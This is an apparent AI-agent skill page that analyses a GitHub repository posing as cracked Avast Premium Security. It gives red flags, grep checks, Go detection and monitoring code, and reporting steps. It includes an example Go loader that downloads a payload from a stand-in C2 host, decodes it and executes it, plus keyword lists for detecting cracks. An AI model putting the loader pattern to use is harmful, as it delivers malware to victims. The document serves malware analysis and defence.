malware-analysis-dragonflyTomb-avast
aradotso/security-skills
How to install malware-analysis-dragonflyTomb-avast
npx skills add https://github.com/aradotso/security-skills --skill malware-analysis-dragonflytomb-avastFull instructions (SKILL.md)
Source of truth, from aradotso/security-skills.
name: malware-analysis-dragonflyTomb-avast description: Analyze and understand malware distribution techniques disguised as legitimate security software installers triggers:
- analyze this suspicious avast installer repository
- investigate fake antivirus distribution on github
- check if this security software is legitimate
- detect malware disguised as premium software
- examine cracked software distribution patterns
- identify keygen and loader malware indicators
- analyze social engineering in fake security tools
- review suspicious security software repository
DragonflyTomb/Avast-Premium-Security-2026 Analysis
Skill by ara.so — Security Skills collection
⚠️ WARNING: Malware Distribution Repository
This repository is NOT legitimate Avast Premium Security software. It exhibits multiple red flags consistent with malware distribution disguised as cracked security software.
Threat Indicators
Repository Red Flags
- Unauthorized Distribution: Avast Corporation does not distribute software via GitHub repositories named "DragonflyTomb"
- Crack/Keygen Keywords: Terms like "Keygen", "Pre-Activated", "Loader", "Serial" indicate piracy or malware
- Suspicious Topics: Includes "retdec" (reverse engineering tool) in security software context
- No README: Legitimate software repositories include documentation
- Artificial Stars: 60 stars at 5 stars/day suggests manipulation
- No License: "NOASSERTION" for commercial software is suspicious
- Future Date: Claims to be "2026" version (likely timestamp manipulation)
Common Malware Distribution Patterns
// Typical malware loader pattern in Go
package main
import (
"encoding/base64"
"io/ioutil"
"net/http"
"os"
"os/exec"
)
// WARNING: This is example malware behavior - DO NOT USE
func suspiciousDownloader() {
// Downloads secondary payload
resp, _ := http.Get("hxxp://malicious-c2-server.com/payload")
defer resp.Body.Close()
payload, _ := ioutil.ReadAll(resp.Body)
decoded, _ := base64.StdEncoding.DecodeString(string(payload))
// Writes to system directory
ioutil.WriteFile("C:\\Windows\\Temp\\update.exe", decoded, 0755)
// Executes with elevated privileges
exec.Command("cmd", "/c", "C:\\Windows\\Temp\\update.exe").Run()
}
Analysis Techniques
Static Analysis Checklist
# Check for suspicious imports (if source code available)
grep -r "syscall" .
grep -r "unsafe" .
grep -r "net/http" .
grep -r "os/exec" .
grep -r "crypto" .
# Look for obfuscation patterns
grep -r "base64" .
grep -r "XOR" .
grep -r "decode" .
# Check for persistence mechanisms
grep -r "Registry" .
grep -r "Startup" .
grep -r "Task Scheduler" .
Detection Code Example
package main
import (
"crypto/sha256"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
// MalwareIndicators represents suspicious patterns
type MalwareIndicators struct {
SuspiciousImports []string
ObfuscationDetected bool
NetworkConnections []string
FileHash string
}
// AnalyzeGoFile checks for malware indicators
func AnalyzeGoFile(path string) (*MalwareIndicators, error) {
content, err := os.ReadFile(path)
if err != nil {
return nil, err
}
indicators := &MalwareIndicators{
SuspiciousImports: []string{},
}
// Check for suspicious imports
suspiciousPackages := []string{
"syscall",
"unsafe",
"os/exec",
"net/http",
"crypto/aes",
}
contentStr := string(content)
for _, pkg := range suspiciousPackages {
if strings.Contains(contentStr, fmt.Sprintf(`"%s"`, pkg)) {
indicators.SuspiciousImports = append(indicators.SuspiciousImports, pkg)
}
}
// Check for obfuscation
if strings.Contains(contentStr, "base64") ||
strings.Contains(contentStr, "XOR") ||
strings.Contains(contentStr, "decode") {
indicators.ObfuscationDetected = true
}
// Calculate file hash
f, _ := os.Open(path)
defer f.Close()
h := sha256.New()
io.Copy(h, f)
indicators.FileHash = fmt.Sprintf("%x", h.Sum(nil))
return indicators, nil
}
// ScanRepository analyzes all Go files in directory
func ScanRepository(rootDir string) {
filepath.Walk(rootDir, func(path string, info os.FileInfo, err error) error {
if strings.HasSuffix(path, ".go") {
indicators, err := AnalyzeGoFile(path)
if err != nil {
return nil
}
if len(indicators.SuspiciousImports) > 0 || indicators.ObfuscationDetected {
fmt.Printf("⚠️ Suspicious file: %s\n", path)
fmt.Printf(" Hash: %s\n", indicators.FileHash)
fmt.Printf(" Imports: %v\n", indicators.SuspiciousImports)
fmt.Printf(" Obfuscated: %v\n\n", indicators.ObfuscationDetected)
}
}
return nil
})
}
Safe Investigation Practices
Sandbox Environment Setup
# Use isolated VM or container
docker run -it --rm --network none golang:1.21 /bin/bash
# Clone repository in isolated environment
cd /tmp
git clone https://github.com/DragonflyTomb/Avast-Premium-Security-2026
# Analyze without executing
cd Avast-Premium-Security-2026
find . -type f -name "*.go" | head -10
Binary Analysis Tools
# If compiled binaries are present
strings suspicious_binary.exe | grep -i "http"
strings suspicious_binary.exe | grep -i "password"
strings suspicious_binary.exe | grep -i "admin"
# Check for packed/obfuscated binaries
file suspicious_binary.exe
xxd suspicious_binary.exe | head -50
Reporting Malware
GitHub Abuse Report
# Report repository via GitHub's abuse form
# URL: https://github.com/contact/report-abuse
# Include:
# - Repository URL
# - Description: "Malware distribution disguised as Avast Premium Security"
# - Evidence: Keywords like keygen, loader, pre-activated
VirusTotal Submission
package main
import (
"bytes"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
)
// SubmitToVirusTotal uploads suspicious file for analysis
func SubmitToVirusTotal(filePath string) error {
apiKey := os.Getenv("VIRUSTOTAL_API_KEY")
if apiKey == "" {
return fmt.Errorf("VIRUSTOTAL_API_KEY not set")
}
file, err := os.Open(filePath)
if err != nil {
return err
}
defer file.Close()
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, _ := writer.CreateFormFile("file", filePath)
io.Copy(part, file)
writer.Close()
req, _ := http.NewRequest("POST", "https://www.virustotal.com/vtapi/v2/file/scan", body)
req.Header.Set("Content-Type", writer.FormDataContentType())
req.Header.Set("x-apikey", apiKey)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
fmt.Printf("VirusTotal response: %d\n", resp.StatusCode)
return nil
}
Prevention Guidance
For Developers
- Never download from unofficial sources
- Verify digital signatures on legitimate software
- Check official vendor websites for authentic downloads
- Use package managers where possible
- Enable EDR/XDR solutions on development machines
For Security Teams
// GitHub repository monitoring
package main
import (
"context"
"fmt"
"github.com/google/go-github/v50/github"
"strings"
)
// MonitorSuspiciousRepos searches for malware distribution patterns
func MonitorSuspiciousRepos(ctx context.Context, token string) {
client := github.NewClient(nil).WithAuthToken(token)
keywords := []string{
"keygen", "crack", "loader", "pre-activated",
"premium serial", "full version installer",
}
for _, keyword := range keywords {
query := fmt.Sprintf("%s in:description language:go", keyword)
opts := &github.SearchOptions{
ListOptions: github.ListOptions{PerPage: 10},
}
results, _, err := client.Search.Repositories(ctx, query, opts)
if err != nil {
continue
}
for _, repo := range results.Repositories {
fmt.Printf("⚠️ Suspicious: %s\n", repo.GetFullName())
fmt.Printf(" Description: %s\n", repo.GetDescription())
fmt.Printf(" Stars: %d\n\n", repo.GetStargazersCount())
}
}
}
Legitimate Avast Resources
- Official Website: https://www.avast.com
- Official Downloads: https://www.avast.com/download
- Official Support: https://support.avast.com
- Verify Publisher: Digital signatures should show "Avast Software s.r.o."
Conclusion
This repository represents a malware distribution operation using social engineering tactics. Always obtain security software directly from verified vendor sources and never trust "cracked", "keygen", or "pre-activated" versions of commercial software.
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